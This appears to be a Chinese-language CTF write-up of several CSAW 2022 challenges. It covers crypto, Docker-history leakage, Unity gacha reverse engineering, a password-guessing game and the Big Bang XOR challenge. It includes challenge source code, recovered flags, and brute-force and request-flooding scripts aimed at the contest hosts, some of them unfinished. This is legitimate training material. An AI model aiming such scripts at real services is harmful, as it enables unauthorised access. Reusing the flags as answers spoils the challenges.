    60. print("\nHow many would you like to purchase? (We have unlimited supplies...)")
    61. print("> ", end="")
    62. canine_quant = input().encode()
    63. return canine_type, canine_quant
    64. def process_encryption():
    65. canine_type, canine_order = get_canine_order()
    66. msg = b"Congratulations, you just completed your " + canine_type + b" purchase instead of buying this beautiful flag: " + flag
    67. msg += b". What were you thinking? Fortunately you have helped " + canine_order + b" canines and puppies find homes"
    68. hmac = get_hmac(msg)
    69. pt = msg + hmac
    70. pt = pad(pt)
    71. ct = encrypt(pt)
    72. print()
    73. print(b"A plane flies overhead flying a banner that reads: " + ct, "\n")
    74. return ct
    75. def get_selection():
    76. print("Enter your selection:")
    77. print(" 1) Enter the shop")
    78. print(" 2) Decrypt")
    79. print(" 3) Leave the shop\n")
    80. print("> ", end='')
    81. selection = input().strip()
    82. if selection in list('123'):
    83. print("")
    84. return selection
    85. else:
    86. print("Error: Invalid selection.")
    87. exit(0)
    88. def main():
    89. print("********** C S A W G I F T S H O P **********\n")
    90. print(" Welcome to the CSAW Canine Gift Shop! ")
    91. print("Leaving city dwellers have asked us to find home for their MANY canine friends.")
    92. print("We have canines of all kinds ... as well as encrypted flags constantly flying ")
    93. print("overhead and a key to decrypt them that should be well within your price range.\n\n")
    94. while (1):
    95. selection = int(get_selection())
    96. try:
    97. if selection == 1:
    98. process_encryption()
    99. sys.stdout.flush()
    100. elif selection == 2:
    101. print("Enter the base64-encoded ciphertext to decrypt: ")
    102. print("> ", end='')
    103. ct = input().encode()
    104. decrypt_and_verify(ct)
    105. sys.stdout.flush()
    106. elif selection == 3:
    107. print("Thank you for shopping with CSAW!")
    108. exit(0)
    109. else:
    110. print("Error: invalid menu option.")
    111. raise Exception
    112. except Exception as ex:
    113. print("\nSomething went wrong......try again?\n")
    114. sys.stdout.flush()
    115. if __name__ == "__main__":
    116. main()

    看上去是个AES padding oracle攻击,找了个模版运行不了,以后得找个能运行保存。好好学学

    Beyond_Quantum

    两量子位的计算机网上说是一个4阶矩阵啥的,不清楚怎么算。

    程序cipher.py:

    1. from cipher.mathutils import *
    2. import numpy as np
    3. from sympy.abc import x
    4. from sympy.polys.polyerrors import NotInvertible
    5. from sympy import ZZ, Poly
    6. from collections import Counter
    7. class Cipher:
    8. N = None
    9. p = None
    10. q = None
    11. f_poly = None
    12. g_poly = None
    13. h_poly = None
    14. f_p_poly = None
    15. f_q_poly = None
    16. R_poly = None
    17. def __init__(self, N, p, q):
    18. self.N = N
    19. self.p = p
    20. self.q = q
    21. self.R_poly = Poly(x ** N - 1, x).set_domain(ZZ)
    22. def generate_random_keys(self):
    23. g_poly = random_poly(self.N, int(math.sqrt(self.q)))
    24. tries = 10
    25. while tries > 0 and (self.h_poly is None):
    26. f_poly = random_poly(self.N, self.N // 3, neg_ones_diff=-1)
    27. try:
    28. self.generate_public_key(f_poly, g_poly)
    29. except NotInvertible as ex:
    30. tries -= 1
    31. if self.h_poly is None:
    32. raise Exception("Couldn't generate invertible f")
    33. def generate_public_key(self, f_poly, g_poly):
    34. self.f_poly = f_poly
    35. self.g_poly = g_poly
    36. self.f_p_poly = invert_poly(self.f_poly, self.R_poly, self.p)
    37. self.f_q_poly = invert_poly(self.f_poly, self.R_poly, self.q)
    38. p_f_q_poly = (self.p * self.f_q_poly).trunc(self.q)
    39. h_before_mod = (p_f_q_poly * self.g_poly).trunc(self.q)
    40. self.h_poly = (h_before_mod % self.R_poly).trunc(self.q)
    41. def encrypt(self, msg_poly, rand_poly):
    42. return (((self.h_poly).trunc(self.q) + msg_poly) % self.R_poly).trunc(self.q)
    43. def decrypt(self, msg_poly):
    44. a_poly = ((self.f_poly * msg_poly) % self.R_poly).trunc(self.q)
    45. b_poly = a_poly.trunc(self.p)
    46. return ((self.f_p_poly * b_poly) % self.R_poly).trunc(self.p)

    mathutils.py

    1. import math
    2. from sympy import GF, invert
    3. import numpy as np
    4. from sympy.abc import x
    5. from sympy import ZZ, Poly
    6. def is_prime(n):
    7. for i in range(2, int(n ** 0.5) + 1):
    8. if n % i == 0:
    9. return False
    10. return True
    11. def is_2_power(n):
    12. return n != 0 and (n & (n - 1) == 0)
    13. def random_poly(length, d, neg_ones_diff=0):
    14. result = Poly(np.random.permutation(
    15. np.concatenate((np.zeros(length - 2 * d - neg_ones_diff), np.ones(d), -np.ones(d + neg_ones_diff)))),
    16. x).set_domain(ZZ)
    17. return(result)
    18. def invert_poly(f_poly, R_poly, p):
    19. inv_poly = None
    20. if is_prime(p):
    21. inv_poly = invert(f_poly, R_poly, domain=GF(p))
    22. elif is_2_power(p):
    23. inv_poly = invert(f_poly, R_poly, domain=GF(2))
    24. e = int(math.log(p, 2))
    25. for i in range(1, e):
    26. inv_poly = ((2 * inv_poly - f_poly * inv_poly ** 2) % R_poly).trunc(p)
    27. else:
    28. raise Exception("Cannot invert polynomial in Z_{}".format(p))
    29. return inv_poly

    server.py

    1. import numpy as np
    2. import sys
    3. from cipher.cipher import Cipher
    4. from cipher.mathutils import random_poly
    5. from sympy.abc import x
    6. from sympy import ZZ, Poly
    7. import math
    8. def encrypt_command(data, public_key):
    9. input_arr = np.unpackbits(np.frombuffer(data, dtype=np.uint8))
    10. input_arr = np.trim_zeros(input_arr, 'b')
    11. output = encrypt(public_key, input_arr, bin_output=True)
    12. output = np.packbits(np.array(output).astype(int)).tobytes().hex()
    13. return output
    14. def poly_to_bytes(poly):
    15. res = poly.set_domain(ZZ).all_coeffs()[::-1]
    16. res = np.packbits(np.array(res).astype(int)).tobytes().hex()
    17. return bytes.fromhex(res)
    18. def decrypt_command(data, private_key):
    19. input_arr = np.unpackbits(np.frombuffer(data, dtype=np.uint8))
    20. input_arr = np.trim_zeros(input_arr, 'b')
    21. output = decrypt(private_key, input_arr, bin_input=True)
    22. output = np.packbits(np.array(output).astype(int)).tobytes().hex()
    23. output = bytes.fromhex(output)
    24. return output
    25. def generate(N, p, q):
    26. cipher = Cipher(N, p, q)
    27. cipher.generate_random_keys()
    28. h = np.array(cipher.h_poly.all_coeffs()[::-1])
    29. f, f_p = np.array(cipher.f_poly.all_coeffs()[::-1]), np.array(cipher.f_p_poly.all_coeffs()[::-1])
    30. private_key = {'N': N, 'p': p, 'q': q, 'f': f, 'f_p': f_p}
    31. public_key = {'N': N, 'p': p, 'q': q, 'h': h}
    32. return (private_key, public_key)
    33. def encrypt(pub_key, input_arr, bin_output=False):
    34. global h_poly
    35. global c_poly
    36. cipher = Cipher(int(pub_key['N']), int(pub_key['p']), int(pub_key['q']))
    37. cipher.h_poly = Poly(pub_key['h'].astype(int)[::-1], x).set_domain(ZZ)
    38. h_poly = cipher.h_poly
    39. if cipher.N < len(input_arr):
    40. raise Exception("Input is too large for current N")
    41. c_poly = cipher.encrypt(Poly(input_arr[::-1], x).set_domain(ZZ), random_poly(cipher.N, int(math.sqrt(cipher.q))))
    42. output = c_poly.all_coeffs()[::-1]
    43. if bin_output:
    44. k = int(math.log2(cipher.q))
    45. output = [[0 if c == '0' else 1 for c in np.binary_repr(n, width=k)] for n in output]
    46. return np.array(output).flatten()
    47. def decrypt(priv_key, input_arr, bin_input=False):
    48. cipher = Cipher(int(priv_key['N']), int(priv_key['p']), int(priv_key['q']))
    49. cipher.f_poly = Poly(priv_key['f'].astype(int)[::-1], x).set_domain(ZZ)
    50. cipher.f_p_poly = Poly(priv_key['f_p'].astype(int)[::-1], x).set_domain(ZZ)
    51. if bin_input:
    52. k = int(math.log2(cipher.q))
    53. pad = k - len(input_arr) % k
    54. if pad == k:
    55. pad = 0
    56. input_arr = np.array([int("".join(n.astype(str)), 2) for n in
    57. np.pad(np.array(input_arr), (0, pad), 'constant').reshape((-1, k))])
    58. if cipher.N < len(input_arr):
    59. raise Exception("Input is too large for current N")
    60. return cipher.decrypt(Poly(input_arr[::-1], x).set_domain(ZZ)).all_coeffs()[::-1]
    61. def get_password():
    62. with open("password.txt") as file:
    63. password = "".join(file.readlines()).strip()
    64. return password
    65. def main():
    66. password = get_password()
    67. print("********** B E Y O N D Q U A N T U M **********\n")
    68. print(" I heard that quantums are flying around these days and")
    69. print("people are thinking of attacking cryptosystems with them.")
    70. print("So I found this awesome cryptosystem that is safe from")
    71. print("quantums! You can send as many qubits as you like at this")
    72. print("cipher, and none of them will break it. Here is a proof of")
    73. print("concept to show the world how robust our cryptosystem is.")
    74. print("I\'ve encrypted a password and no amount of skullduggery")
    75. print("will help you to get it back. See, you can encrypt and")
    76. print("decrypt all you want, you won\'t get anywhere!")
    77. private_key, public_key = generate(N=97, p=3, q=128)
    78. print(" This is an asymmetric cryptosystem so here is the public")
    79. print("key:\n")
    80. print(str(public_key) + "\n")
    81. pwd_ct = encrypt_command(password.encode(), public_key)
    82. print(" The password ciphertext is " + pwd_ct + "\n")
    83. print(" Have at it!\n")
    84. while True:
    85. print("/------------------------------\\")
    86. print("| COMMANDS |")
    87. print("| |")
    88. print("| 1) ciphertext_as_poly |")
    89. print("| 2) publickey_as_poly |")
    90. print("| 3) solve_challenge |")
    91. print("| 4) exit |")
    92. print("\\------------------------------/\n")
    93. print("> ", end="")
    94. sys.stdout.flush()
    95. parts = sys.stdin.readline()[:-1].split(" ")
    96. try:
    97. if parts[0] == "ciphertext_as_poly" or parts[0] == "1":
    98. print(c_poly)
    99. sys.stdout.flush()
    100. elif parts[0] == "publickey_as_poly" or parts[0] == "2":
    101. print(h_poly)
    102. sys.stdout.flush()
    103. elif parts[0] == "solve_challenge" or parts[0] == "3":
    104. candidate_password = parts[1]
    105. if candidate_password == password:
    106. print("\nWhat?! How did you do that??\n")
    107. with open("flag.txt") as file:
    108. print("".join(file.readlines()))
    109. else:
    110. print("\nNope!\n")
    111. elif parts[0] == "exit" or parts[0] == "4":
    112. print("\nBye!")
    113. sys.stdout.flush()
    114. return
    115. else:
    116. print("\nUnknown command.")
    117. raise Exception()
    118. except:
    119. print("\nSomething went wrong...")
    120. print("...try again?\n")
    121. sys.stdout.flush()
    122. if __name__ == "__main__":
    123. main()

    交互内容

    1. $ nc crypto.chal.csaw.io 5003
    2. ********** B E Y O N D Q U A N T U M **********
    3. I heard that quantums are flying around these days and
    4. people are thinking of attacking cryptosystems with them.
    5. So I found this awesome cryptosystem that is safe from
    6. quantums! You can send as many qubits as you like at this
    7. cipher, and none of them will break it. Here is a proof of
    8. concept to show the world how robust our cryptosystem is.
    9. I've encrypted a password and no amount of skullduggery
    10. will help you to get it back. See, you can encrypt and
    11. decrypt all you want, you won't get anywhere!
    12. This is an asymmetric cryptosystem so here is the public
    13. key:
    14. {'N': 97, 'p': 3, 'q': 128, 'h': array([0, -6, -43, 12, 22, 51, 57, -27, 44, 64, -40, -56, -21, 31, 12,
    15. -48, 54, 18, 4, 17, 44, 30, 14, -45, 44, 4, 43, 20, -48, 46, -13,
    16. -55, 15, 16, -39, 34, 55, 4, 58, -50, 15, -17, 53, 39, -7, 16, -47,
    17. -31, -55, 18, -6, -47, -22, 3, -59, 12, 40, -40, -8, 45, 36, 47,
    18. 48, -57, -9, 37, -36, 29, 37, 6, 11, -36, 49, -63, -47, 17, 42,
    19. -27, 48, 28, -30, 63, -47, 0, 53, -57, -45, -12, 19, -55, -3, -56,
    20. 35, 32, 35, 63, 5], dtype=object)}
    21. The password ciphertext is 01eea8d2ccdce65906cc9d6806516c4c21158787545815614a2bfa491e46d236e15d4e1fbdb28f242962924fdd1d61230c5167cae48c1847ee9ae9e4a1865c6306912559581cc5029016b1e9f4272bf4948811c00a
    22. Have at it!
    23. /------------------------------\
    24. | COMMANDS |
    25. | |
    26. | 1) ciphertext_as_poly |
    27. | 2) publickey_as_poly |
    28. | 3) solve_challenge |
    29. | 4) exit |
    30. \------------------------------/
    31. > 1
    32. Poly(5*x**96 + 64*x**95 + 35*x**94 + 32*x**93 + 36*x**92 - 55*x**91 - 2*x**90 - 54*x**89 + 19*x**88 - 12*x**87 - 45*x**86 - 57*x**85 + 53*x**84 + x**83 - 46*x**82 + 64*x**81 - 30*x**80 + 28*x**79 + 48*x**78 - 27*x**77 + 42*x**76 + 18*x**75 - 46*x**74 - 63*x**73 + 49*x**72 - 36*x**71 + 12*x**70 + 6*x**69 + 37*x**68 + 30*x**67 - 35*x**66 + 38*x**65 - 9*x**64 - 57*x**63 + 48*x**62 + 48*x**61 + 36*x**60 + 46*x**59 - 7*x**58 - 39*x**57 + 40*x**56 + 12*x**55 - 58*x**54 + 4*x**53 - 21*x**52 - 47*x**51 - 5*x**50 + 19*x**49 - 55*x**48 - 30*x**47 - 46*x**46 + 16*x**45 - 7*x**44 + 40*x**43 + 54*x**42 - 17*x**41 + 15*x**40 - 50*x**39 + 58*x**38 + 5*x**37 + 55*x**36 + 35*x**35 - 38*x**34 + 17*x**33 + 15*x**32 - 55*x**31 - 12*x**30 + 47*x**29 - 47*x**28 + 20*x**27 + 44*x**26 + 5*x**25 + 44*x**24 - 44*x**23 + 14*x**22 + 30*x**21 + 44*x**20 + 17*x**19 + 4*x**18 + 19*x**17 + 54*x**16 - 47*x**15 + 12*x**14 + 32*x**13 - 21*x**12 - 55*x**11 - 39*x**10 - 63*x**9 + 44*x**8 - 26*x**7 + 57*x**6 + 51*x**5 + 22*x**4 + 13*x**3 - 43*x**2 - 5*x, x, domain='ZZ')
    33. /------------------------------\
    34. | COMMANDS |
    35. | |
    36. | 1) ciphertext_as_poly |
    37. | 2) publickey_as_poly |
    38. | 3) solve_challenge |
    39. | 4) exit |
    40. \------------------------------/
    41. > 2
    42. Poly(5*x**96 + 63*x**95 + 35*x**94 + 32*x**93 + 35*x**92 - 56*x**91 - 3*x**90 - 55*x**89 + 19*x**88 - 12*x**87 - 45*x**86 - 57*x**85 + 53*x**84 - 47*x**82 + 63*x**81 - 30*x**80 + 28*x**79 + 48*x**78 - 27*x**77 + 42*x**76 + 17*x**75 - 47*x**74 - 63*x**73 + 49*x**72 - 36*x**71 + 11*x**70 + 6*x**69 + 37*x**68 + 29*x**67 - 36*x**66 + 37*x**65 - 9*x**64 - 57*x**63 + 48*x**62 + 47*x**61 + 36*x**60 + 45*x**59 - 8*x**58 - 40*x**57 + 40*x**56 + 12*x**55 - 59*x**54 + 3*x**53 - 22*x**52 - 47*x**51 - 6*x**50 + 18*x**49 - 55*x**48 - 31*x**47 - 47*x**46 + 16*x**45 - 7*x**44 + 39*x**43 + 53*x**42 - 17*x**41 + 15*x**40 - 50*x**39 + 58*x**38 + 4*x**37 + 55*x**36 + 34*x**35 - 39*x**34 + 16*x**33 + 15*x**32 - 55*x**31 - 13*x**30 + 46*x**29 - 48*x**28 + 20*x**27 + 43*x**26 + 4*x**25 + 44*x**24 - 45*x**23 + 14*x**22 + 30*x**21 + 44*x**20 + 17*x**19 + 4*x**18 + 18*x**17 + 54*x**16 - 48*x**15 + 12*x**14 + 31*x**13 - 21*x**12 - 56*x**11 - 40*x**10 + 64*x**9 + 44*x**8 - 27*x**7 + 57*x**6 + 51*x**5 + 22*x**4 + 12*x**3 - 43*x**2 - 6*x, x, domain='ZZ')
    43. /------------------------------\
    44. | COMMANDS |
    45. | |
    46. | 1) ciphertext_as_poly |
    47. | 2) publickey_as_poly |
    48. | 3) solve_challenge |
    49. | 4) exit |
    50. \------------------------------/
    51. >

    REV:DockREleakage

    在附件里找到flag的前一半的base64

    在其它的压缩包里有压缩的flag.txt是后一半

    1. {"created":"2022-09-03T07:46:11.653961901Z","created_by":"/bin/sh -c #(nop) WORKDIR /chal"},
    2. {"created":"2022-09-03T07:46:11.863666686Z","created_by":"/bin/sh -c #(nop) COPY file:d65d0cfa1f5c483eff02b6016940ff4d85eb3b216f05d23a2b891cea6801be2a in p-flag.txt "},
    3. {"created":"2022-09-03T07:46:12.680399343Z","created_by":"/bin/sh -c echo \"ZmxhZ3tuM3Yzcl9sMzR2M181M241MTcxdjNfMW5mMHJtNDcxMG5fdW5wcjA=\" \u003e /dev/null","empty_layer":true},
    4. {"created":"2022-09-03T07:46:13.319972067Z","created_by":"/bin/sh -c cat p-flag.txt \u003e tmp.txt; rm -rf flag.txt p-flag.txt; mv tmp.txt flag.txt; echo \"\" \u003e\u003e flag.txt"},
    5. {"created":"2022-09-03T07:46:14.02363242Z","created_by":"/bin/sh -c echo \"Find the rest of the flag by yourself!\" \u003e\u003e flag.txt"},
    6. {"created":"2022-09-03T07:46:14.235116602Z","created_by":"/bin/sh -c #(nop) CMD [\"/bin/sh\"]","empty_layer":true}
    7. 前一半用base64解码
    8. flag{n3v3r_l34v3_53n5171v3_1nf0rm4710n_unpr073c73d_w17h1n_7h3_d0ck3rf1l3}
    9. 其它目录下的压缩包里有后一半
    10. 73c73d_w17h1n_7h3_d0ck3rf1l3}
    11. 73c73d_w17h1n_7h3_d0ck3rf1l3}
    12. Find the rest of the flag by yourself!
    13. 73c73d_w17h1n_7h3_d0ck3rf1l3}

    Anya Gacha 未完成

    是个游戏,原来见过的都是dySpy打开就有东西,但这个啥也没有。

    看了吾知道的帖子,原来有东西,那台机子上的dnSpy可能有问题,win11和win7区别有点大。

    复现一下,用dnSpy打开后,所以函数都在一起

    1. public class Gacha : MonoBehaviour
    2. {
    3. // Token: 0x06000005 RID: 5 RVA: 0x0000208C File Offset: 0x0000028C
    4. private void Start()
    5. {
    6. Debug.Log("Main Logic Starts");
    7. this.counter = Encoding.ASCII.GetBytes("wakuwaku");
    8. this.value_masker = Random.Range(1, 999); //生成一个随机数与100异或后,作为bytes类型转base64
    9. this.value = this.mask_value(100);
    10. Debug.Log(Convert.ToBase64String(this.mySHA256.ComputeHash(this.counter)));
    11. }
    12. // Token: 0x06000006 RID: 6 RVA: 0x000020F2 File Offset: 0x000002F2
    13. private void Update()
    14. {
    15. }
    16. // Token: 0x06000007 RID: 7 RVA: 0x000020F4 File Offset: 0x000002F4
    17. public int get_value()
    18. {
    19. return this.unmask_value(this.value);
    20. }
    21. // Token: 0x06000008 RID: 8 RVA: 0x00002102 File Offset: 0x00000302
    22. private string mask_value(int v)
    23. {
    24. v ^= this.value_masker;
    25. return Convert.ToBase64String(BitConverter.GetBytes(v));
    26. }
    27. // Token: 0x06000009 RID: 9 RVA: 0x00002119 File Offset: 0x00000319
    28. private int unmask_value(string m)
    29. {
    30. return BitConverter.ToInt32(Convert.FromBase64String(m), 0) ^ this.value_masker;
    31. }
    32. // Token: 0x0600000A RID: 10 RVA: 0x00002130 File Offset: 0x00000330
    33. public void wish()
    34. {
    35. int num = this.unmask_value(this.value); //转回base64编码的值,每次减10
    36. if (num < 10)
    37. {
    38. this.insufficient_value();
    39. return;
    40. }
    41. num -= 10;
    42. this.value = this.mask_value(num);
    43. this.counter = this.mySHA256.ComputeHash(this.counter);
    44. this.loading.SetActive(true);
    45. base.StartCoroutine(this.Upload()); //生成sha256后调用上传函数
    46. }
    47. // Token: 0x0600000B RID: 11 RVA: 0x00002198 File Offset: 0x00000398
    48. private void insufficient_value()
    49. {
    50. this.mainpage.SetActive(false);
    51. this.error.SetActive(true);
    52. Debug.Log("Insufficient Value");
    53. }
    54. // Token: 0x0600000C RID: 12 RVA: 0x000021BC File Offset: 0x000003BC
    55. private void fail()
    56. {
    57. this.loseaudio.Play();
    58. this.mainpage.SetActive(false);
    59. this.failure.SetActive(true);
    60. Debug.Log("Got nothing");
    61. }
    62. // Token: 0x0600000D RID: 13 RVA: 0x000021EB File Offset: 0x000003EB
    63. private void succeed(string f)
    64. {
    65. this.winaudio.Play();
    66. this.mainpage.SetActive(false);
    67. this.success.SetActive(true);
    68. this.flag.GetComponent<Text>().text = f;
    69. Debug.Log("Got Anya!");
    70. }
    71. // Token: 0x0600000E RID: 14 RVA: 0x0000222B File Offset: 0x0000042B
    72. public void backfrom(GameObject g)
    73. {
    74. g.SetActive(false);
    75. this.mainpage.SetActive(true);
    76. }
    77. // Token: 0x0600000F RID: 15 RVA: 0x00002240 File Offset: 0x00000440
    78. private IEnumerator Upload()
    79. {
    80. WWWForm wwwform = new WWWForm();
    81. string str = Convert.ToBase64String(this.counter); //把sha256的值base64编码
    82. wwwform.AddField("data", str);
    83. UnityWebRequest www = UnityWebRequest.Post(this.server, wwwform);
    84. Debug.Log("Posted: " + str);
    85. yield return www.SendWebRequest();
    86. if (www.result != UnityWebRequest.Result.Success)
    87. {
    88. Debug.Log(www.error);
    89. }
    90. else
    91. {
    92. this.loading.SetActive(false);
    93. string text = www.downloadHandler.text;
    94. if (text == "")
    95. {
    96. this.fail();
    97. }
    98. else
    99. {
    100. this.succeed(text);
    101. }
    102. }
    103. yield break;
    104. }
    105. // Token: 0x04000003 RID: 3
    106. public AudioSource winaudio;
    107. // Token: 0x04000004 RID: 4
    108. public AudioSource loseaudio;
    109. // Token: 0x04000005 RID: 5
    110. public GameObject mainpage;
    111. // Token: 0x04000006 RID: 6
    112. public GameObject loading;
    113. // Token: 0x04000007 RID: 7
    114. public GameObject success;
    115. // Token: 0x04000008 RID: 8
    116. public GameObject failure;
    117. // Token: 0x04000009 RID: 9
    118. public GameObject error;
    119. // Token: 0x0400000A RID: 10
    120. public GameObject flag;
    121. // Token: 0x0400000B RID: 11
    122. private string server = "http://rev.chal.csaw.io:10010";
    123. // Token: 0x0400000C RID: 12
    124. private string value;
    125. // Token: 0x0400000D RID: 13
    126. private int value_masker;
    127. // Token: 0x0400000E RID: 14
    128. private byte[] counter;
    129. // Token: 0x0400000F RID: 15
    130. private SHA256 mySHA256 = SHA256.Create();
    131. }

     每次点击后向后台POST一个请求,在0.1%的概率下返回flag,请求的内容相同就是sha256(b'wakuwaku').hexdigest(),草拟一小段,(后台已经没了没法试)

    1. import urllib
    2. url = 'http://rev.chal.csaw.io:10010'
    3. params = {
    4. data:'4zMQfxpekBQmnOHooaY1MU8RRNH6T3krsHgOxTXD7Z4%3d'
    5. }
    6. headers = {'Accept-Charset': 'identity',
    7. 'Content-Type': 'application/x-www-form-urlencoded',
    8. 'User-Agent': 'UnityPlayer/2020.3.0f1 (UnityWebRequest/1.0, libcurl/7.52.0-DEV)',
    9. 'X-Unity-Version': '2020.3.0f1'
    10. }
    11. while True:
    12. req = urllib.request.Request(url=path, data=params, headers=headers, method='POST')
    13. response = urllib.request.urlopen(req).read()
    14. print(response)
    15. if .....:
    16. break

    Game

    这个真是个脑子活。

    先通过题目算出5个密码

    1. for ( result = 0x811C9DC5LL; ; result = 0x1000193 * (v2 ^ (unsigned int)result) )
    2. {
    3. v2 = *a1;
    4. if ( !(_BYTE)v2 )
    5. break;
    6. ++a1;
    7. }

    然后到网站上试,因为只有3个选项一直试,正确的输入密码5个密码之一,就能得到flag的一个片断。然后用一个程序辅助试

    1. from pwn import *
    2. v = [4013828393,1118844294,3000956154,3658736598,1688072995 ][::-1]
    3. context.log_level = 'debug'
    4. def guess(ss):
    5. for tv in v:
    6. p = remote('rev.chal.csaw.io', 5003)
    7. try:
    8. for i in ss:
    9. p.sendlineafter(b'Choice: ', i)
    10. p.recvline()
    11. b = p.recv()
    12. if b'lose' in b:
    13. print('xxxxx lose', b)
    14. return
    15. elif b'decimal form?:' in b:
    16. p.sendline(str(tv).encode())
    17. b = p.recv()
    18. if b'Patreon page' not in b:
    19. print('-----------------',b)
    20. p.close()
    21. return
    22. else:
    23. print('xxxxxxxxxxx', b)
    24. p.close()
    25. elif b'Choice: ' in b:
    26. return
    27. except:
    28. print('???', b)
    29. p.close()
    30. return
    31. #
    32. #guess('131223112223122231113')
    33. #guess('21122231222311')
    34. guess('222') #2
    35. #guess('333')

    发现这个东西没有终点,后来仔细看发现每个输入后cast_id都会变,所以这个试是有终点的。

    1是返回lost说明错了,2是返回正确输入密码试不次,3是cast_id出现重值说明进到循环了就可以退出了。

    而片断的顺序就是所使用密码的顺序。最后拼起来。

    1. flag{e@5+er_ #11
    2. e995_6ehind_ #222
    3. p@yw@115_i5_ #1313
    4. +he_dum6e5+_ #131113
    5. ide@_ever!!} #1312221
    6. flag{e@5+er_e995_6ehind_p@yw@115_i5_+he_dum6e5+_ide@_ever!!}

    The Big Bang

    题目加密过程比较复杂,

    先要爆破出输入的长度,应该是magic**2*2 这个好办,连远程后试,因为给定的vi_a是82位,所以从82向下,试到73就OK了。

    加密程序先成随机的key然后生成vi给出,然后要求输入的值运算以后跟key相同。这里边一点key的线索都没有。所以感觉输入与key无关,在本地测试后发现当vi_a是1时输入全F,当vi_a为0时输入全0,技术含量不多,全是猜(当然写程序爆到第一个很重要)

    1. import random
    2. import binascii
    3. MAGIC = ?
    4. K1 = b'\xae@\xb9\x1e\xb5\x98\x97\x81!d\x90\xed\xa9\x0bm~G\x92{y\xcd\x89\x9e\xec2\xb8\x1d\x13OB\x84\xbf\xfaI\xe1o~\x8f\xe40g!%Ri\xda\xd14J\x8aV\xc2x\x1dg\x07K\x1d\xcf\x86{Q\xaa\x00qW\xbb\xe0\xd7\xd8\x9b\x05\x88'
    5. K2 = b"Q\xbfF\xe1Jgh~\xde\x9bo\x12V\xf4\x92\x81\xb8m\x84\x862va\x13\xcdG\xe2\xec\xb0\xbd{@\x05\xb6\x1e\x90\x81p\x1b\xcf\x98\xde\xda\xad\x96%.\xcb\xb5u\xa9=\x87\xe2\x98\xf8\xb4\xe20y\x84\xaeU\xff\x8e\xa8D\x1f('d\xfaw"
    6. K3 = b"\xc6j\x0b_\x8e\xa1\xee7\x9d8M\xf9\xa2=])WI]'x)w\xc1\xc4-\xab\x06\xff\xbd\x1fi\xdb t\xe1\x9d\x14\x15\x8f\xb3\x03l\xe8\ru\xebm!\xc9\xcbX\n\xf8\x98m\x00\x996\x17\x1a\x04j\xb1&~\xa1\x8d.\xaa\xc7\xa6\x82"
    7. K4 = b'9\x95\xf4\xa0q^\x11\xc8b\xc7\xb2\x06]\xc2\xa2\xd6\xa8\xb6\xa2\xd8\x87\xd6\x88>;\xd2T\xf9\x00B\xe0\x96$\xdf\x8b\x1eb\xeb\xeapL\xfc\x93\x17\xf2\x8a\x14\x92\xde64\xa7\xf5\x07g\x92\xfff\xc9\xe8\xe5\xfb\x95N\xd9\x81^r\xd1U8Y}'
    8. K5 = b"9\xf8\xd2\x1a\x8d\xa14\xb9X\xccC\xe8\xf5X\x05l:\x8a\xf7\x00\xc4\xeb\x8f.\xb6\xa2\xfb\x9a\xbc?\x8f\x06\xe1\xdbY\xc2\xb2\xc1\x91p%y\xb7\xae/\xcf\x1e\x99r\xcc&$\xf3\x84\x155\x1fu.\xb3\x89\xdc\xbb\xb8\x1f\xfbN'\xe3\x90P\xf1k"
    9. K6 = b'\xc6\x07-\xe5r^\xcbF\xa73\xbc\x17\n\xa7\xfa\x93\xc5u\x08\xff;\x14p\xd1I]\x04eC\xc0p\xf9\x1e$\xa6=M>n\x8f\xda\x86HQ\xd00\xe1f\x8d3\xd9\xdb\x0c{\xea\xca\xe0\x8a\xd1Lv#DG\xe0\x04\xb1\xd8\x1co\xaf\x0e\x94'
    10. jokes = ["\nSheldon: Why are you crying?\nPenny: Because I'm stupid.\nSheldon: That's no reason to cry. One cries because one is sad. For example, I cry because others are stupid, and that makes me sad.", "Sheldon: Scissors cuts paper, paper covers rock, rock crushes lizard, lizard poisons Spock, Spock smashes scissors, scissors decapitates lizard, lizard eats paper, paper disproves Spock, Spock vaporizes rock, and as it always has, rock crushes scissors.","\nHoward: Sheldon, don't take this the wrong way, but, you're insane.\nLeonard: That may well be, but the fact is it wouldn't kill us to meet some new people.\nSheldon: For the record, it could kill us to meet new people. They could be murderers or the carriers of unusual pathogens. And I'm not insane, my mother had me tested."]
    11. with open("flag.txt",'r') as f:
    12. flag = f.read().encode()
    13. def foo(x, y, z, w):
    14. return bytes([(a&b&c&d | a&(b^255)&(c^255)&d | a&(b^255)&c&(d^255) | a&b&(c^255)&(d^255) | (a^255)&b&(c^255)&d | (a^255)&b&c&(d^255)) for a, b, c, d in zip(x, y, z, w)])
    15. def gen_iv():
    16. iv_a = "{0:b}".format(random.getrandbits(MAGIC)).zfill(MAGIC)
    17. print(f"Enjoy this random bits : {iv_a}")
    18. return iv_a, [b"\xff" * MAGIC if iv_a[i]=='1' else b"\x00" * MAGIC for i in range(MAGIC)]
    19. def gen_keys():
    20. k = b"\x00"*MAGIC
    21. keys = []
    22. for i in range(MAGIC-1):
    23. key = random.randbytes(MAGIC)
    24. keys.append(key)
    25. k = xor(k, xor(key,flag))
    26. keys.append(xor(k,flag))
    27. return keys
    28. def xor(x, y):
    29. return bytes([a ^ b for a, b in zip(x, y)])
    30. def my_input():
    31. inp = input()
    32. inp = binascii.unhexlify(inp)
    33. if len(inp) != MAGIC**2:
    34. print(random.choice(jokes))
    35. exit(0)
    36. return [inp[MAGIC*i:MAGIC*(i+1)] for i in range(MAGIC)]
    37. def guardian(out, i, keys, intersection=b"\x00"*MAGIC):
    38. for j in range(i+1):
    39. intersection = xor(intersection, keys[j])
    40. return intersection == out
    41. def main():
    42. print("Welcome to the Big Bang challenge!")
    43. iv_a, iv_b = gen_iv()
    44. keys = gen_keys()
    45. inp = my_input()
    46. output = b"\x00"*MAGIC
    47. for i in range(MAGIC):
    48. output = foo(output, foo(keys[i], foo(inp[i], iv_b[i], K5, K6), K3, K4), K1, K2)
    49. if not guardian(output, i, keys):
    50. print("Bazinga! You just fell to one of my classic pranks")
    51. exit(0)
    52. print(f"Congratulations, you are smarter than Sheldon!\nHere is your flag:\n{output}")
    53. if __name__ == "__main__":
    54. try:
    55. main()
    56. except Exception:
    57. print(random.choice(jokes))
    58. finally:
    59. exit(0)

    先随便弄个key和iv_a爆一下,结果全是F都不敢相信,回头一想,如果与key无关,它就应该是个掩码的样子。

    1. iv_a = '1100001111100010000101011001000001000100011100111100010010111000100100010'
    2. MAGIC = 73
    3. iv_b = [b"\xff" * MAGIC if iv_a[i]=='1' else b"\x00" * MAGIC for i in range(MAGIC)]
    4. #print(iv_b)
    5. keys = gen_keys()
    6. #print(keys)
